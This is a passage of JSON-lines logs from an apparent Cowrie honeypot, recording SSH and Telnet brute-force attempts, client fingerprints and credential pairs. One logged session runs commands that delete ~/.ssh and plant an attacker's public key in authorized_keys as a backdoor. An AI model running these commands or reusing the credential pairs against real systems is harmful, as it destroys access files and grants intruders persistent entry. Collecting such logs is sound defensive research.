info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:23.850906Z","src_ip":"151.80.141.196","session":"ff618a9ed665","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456789","message":"login attempt [minecraft/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:24.197321Z","src_ip":"151.80.141.196","session":"ff618a9ed665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:25.278356Z","src_ip":"151.80.141.196","session":"ff618a9ed665","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":33168,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6f4c5d22c67","protocol":"ssh","message":"New connection: 103.147.159.91:33168 (10.17.0.5:22) [session: f6f4c5d22c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:42.854583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:42.858921Z","src_ip":"103.147.159.91","session":"f6f4c5d22c67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:43.100082Z","src_ip":"103.147.159.91","session":"f6f4c5d22c67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vhserver","password":"vhserverpass","message":"login attempt [vhserver/vhserverpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:44.081772Z","src_ip":"103.147.159.91","session":"f6f4c5d22c67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:45.324811Z","src_ip":"103.147.159.91","session":"f6f4c5d22c67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":41906,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ff42fe5008d","protocol":"ssh","message":"New connection: 190.242.109.42:41906 (10.17.0.5:22) [session: 9ff42fe5008d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:11.635503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:11.639173Z","src_ip":"190.242.109.42","session":"9ff42fe5008d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:11.735687Z","src_ip":"190.242.109.42","session":"9ff42fe5008d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy2020","message":"login attempt [deploy/deploy2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:12.139037Z","src_ip":"190.242.109.42","session":"9ff42fe5008d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":59398,"dst_ip":"10.17.0.5","dst_port":22,"session":"224c94589d7e","protocol":"ssh","message":"New connection: 151.80.141.196:59398 (10.17.0.5:22) [session: 224c94589d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:12.251987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:12.257643Z","src_ip":"151.80.141.196","session":"224c94589d7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:12.333583Z","src_ip":"151.80.141.196","session":"224c94589d7e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle01","message":"login attempt [oracle/oracle01] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:12.669053Z","src_ip":"151.80.141.196","session":"224c94589d7e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:12.873883Z","src_ip":"151.80.141.196","session":"224c94589d7e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:12.877536Z","src_ip":"151.80.141.196","session":"224c94589d7e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:12.881196Z","src_ip":"151.80.141.196","session":"224c94589d7e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:12.964747Z","src_ip":"151.80.141.196","session":"224c94589d7e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:13.170047Z","src_ip":"151.80.141.196","session":"224c94589d7e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:13.173094Z","src_ip":"151.80.141.196","session":"224c94589d7e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:13.252884Z","src_ip":"151.80.141.196","session":"224c94589d7e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:13.256443Z","src_ip":"151.80.141.196","session":"224c94589d7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:13.273377Z","src_ip":"190.242.109.42","session":"9ff42fe5008d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":59866,"dst_ip":"10.17.0.5","dst_port":22,"session":"df78a0102333","protocol":"ssh","message":"New connection: 151.80.141.196:59866 (10.17.0.5:22) [session: df78a0102333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:13.321592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:13.326162Z","src_ip":"151.80.141.196","session":"df78a0102333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:13.400966Z","src_ip":"151.80.141.196","session":"df78a0102333","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:13.737736Z","src_ip":"151.80.141.196","session":"df78a0102333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:14.815562Z","src_ip":"151.80.141.196","session":"df78a0102333","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":60458,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc6137df7775","protocol":"ssh","message":"New connection: 151.80.141.196:60458 (10.17.0.5:22) [session: dc6137df7775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:14.897340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:14.902618Z","src_ip":"151.80.141.196","session":"dc6137df7775","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:14.989056Z","src_ip":"151.80.141.196","session":"dc6137df7775","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:15.347995Z","src_ip":"151.80.141.196","session":"dc6137df7775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:15.428758Z","src_ip":"151.80.141.196","session":"224c94589d7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:15.433385Z","src_ip":"151.80.141.196","session":"dc6137df7775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.51876139640808,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:19.925553Z","src_ip":"212.55.149.117","session":"e5405904b5fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00929927825928,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:27.868618Z","src_ip":"212.55.149.117","session":"561481c962b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":28970,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbcb0e0bef09","protocol":"telnet","message":"New connection: 212.55.149.117:28970 (10.17.0.5:23) [session: dbcb0e0bef09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:28.190610Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":33226,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa5130d3ddb4","protocol":"ssh","message":"New connection: 103.147.159.91:33226 (10.17.0.5:22) [session: aa5130d3ddb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:37.371433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:37.375482Z","src_ip":"103.147.159.91","session":"aa5130d3ddb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:37.611574Z","src_ip":"103.147.159.91","session":"aa5130d3ddb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Qq123456","message":"login attempt [postgres/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:38.589489Z","src_ip":"103.147.159.91","session":"aa5130d3ddb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:38:39.829305Z","src_ip":"103.147.159.91","session":"aa5130d3ddb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":47570,"dst_ip":"10.17.0.5","dst_port":22,"session":"355625aa791b","protocol":"ssh","message":"New connection: 151.80.141.196:47570 (10.17.0.5:22) [session: 355625aa791b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:01.557413Z"}
